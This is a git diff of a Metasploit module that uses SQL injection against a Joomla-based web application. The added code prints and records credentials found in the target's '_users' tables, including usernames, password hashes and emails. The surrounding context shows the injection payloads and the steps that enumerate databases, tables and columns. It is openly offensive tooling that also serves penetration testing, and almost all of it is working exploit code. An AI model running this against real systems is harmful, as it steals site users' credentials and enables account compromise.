@@ -37,6 +37,46 @@ def initialize(info = {})
37
37
] , self . class )
38
38
end
39
39
40
+ def print_good ( message = '' )
41
+ super ( "#{ rhost } :#{ rport } - #{ message } " )
42
+ end
43
+
44
+ def print_status ( message = '' )
45
+ super ( "#{ rhost } :#{ rport } - #{ message } " )
46
+ end
47
+
48
+ def report_cred ( opts )
49
+ service_data = {
50
+ address : opts [ :ip ] ,
51
+ port : opts [ :port ] ,
52
+ service_name : ssl ? 'https' : 'http' ,
53
+ protocol : 'tcp' ,
54
+ workspace_id : myworkspace_id
55
+ }
56
+
57
+ credential_data = {
58
+ origin_type : :service ,
59
+ module_fullname : fullname ,
60
+ username : opts [ :user ]
61
+ } . merge ( service_data )
62
+
63
+ if opts [ :password ]
64
+ credential_data . merge! (
65
+ private_data : opts [ :password ] ,
66
+ private_type : :nonreplayable_hash ,
67
+ jtr_format : 'md5'
68
+ )
69
+ end
70
+
71
+ login_data = {
72
+ core : create_credential ( credential_data ) ,
73
+ status : opts [ :status ] ,
74
+ proof : opts [ :proof ]
75
+ } . merge ( service_data )
76
+
77
+ create_credential_login ( login_data )
78
+ end
79
+
40
80
def check
41
81
flag = Rex ::Text . rand_text_alpha ( 5 )
42
82
payload = "0x#{ flag . unpack ( 'H*' ) [ 0 ] } "
@@ -72,6 +112,7 @@ def sqli(query)
72
112
'vars_get' => get ,
73
113
} )
74
114
115
+
75
116
if res && res . code == 200
76
117
cookie = res . get_cookies
77
118
post = {
@@ -107,7 +148,7 @@ def query_databases
107
148
0 . upto ( dbc . to_i - 1 ) do |i |
108
149
dbname = sqli ( query_fmt % i )
109
150
dbs << dbname
110
- vprint_good ( dbname )
151
+ vprint_good ( "Found database name: #{ dbname } " )
111
152
end
112
153
113
154
%w( performance_schema information_schema mysql ) . each do |dbname |
@@ -133,7 +174,7 @@ def query_tables(database)
133
174
vprint_status ( 'tables in database: %s' % database )
134
175
0 . upto ( tbc . to_i - 1 ) do |i |
135
176
tbname = sqli ( query_fmt % i )
136
- vprint_good ( tbname )
177
+ vprint_good ( "Found table #{ database } . #{ tbname } " )
137
178
tbs << tbname if tbname =~ /_users$/
138
179
end
139
180
tbs
@@ -144,7 +185,7 @@ def query_columns(database, table)
144
185
query = "(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{ database } .#{ table } )"
145
186
146
187
colc = sqli ( query )
147
- vprint_status ( colc )
188
+ vprint_status ( "Found Columns: #{ colc } from #{ database } . #{ table } " )
148
189
149
190
valid_cols = [ # joomla_users
150
191
'activation' ,
@@ -181,6 +222,19 @@ def query_columns(database, table)
181
222
end
182
223
end
183
224
cols << record
225
+
226
+ unless record [ 'username' ] . blank?
227
+ print_good ( "Found credential: #{ record [ 'username' ] } :#{ record [ 'password' ] } (Email: #{ record [ 'email' ] } )" )
228
+ report_cred (
229
+ ip : rhost ,
230
+ port : datastore [ 'RPORT' ] ,
231
+ user : record [ 'username' ] . to_s ,
232
+ password : record [ 'password' ] . to_s ,
233
+ status : Metasploit ::Model ::Login ::Status ::UNTRIED ,
234
+ proof : record . to_s
235
+ )
236
+ end
237
+
184
238
vprint_status ( record . to_s )
185
239
end
186
240
cols
0 commit comments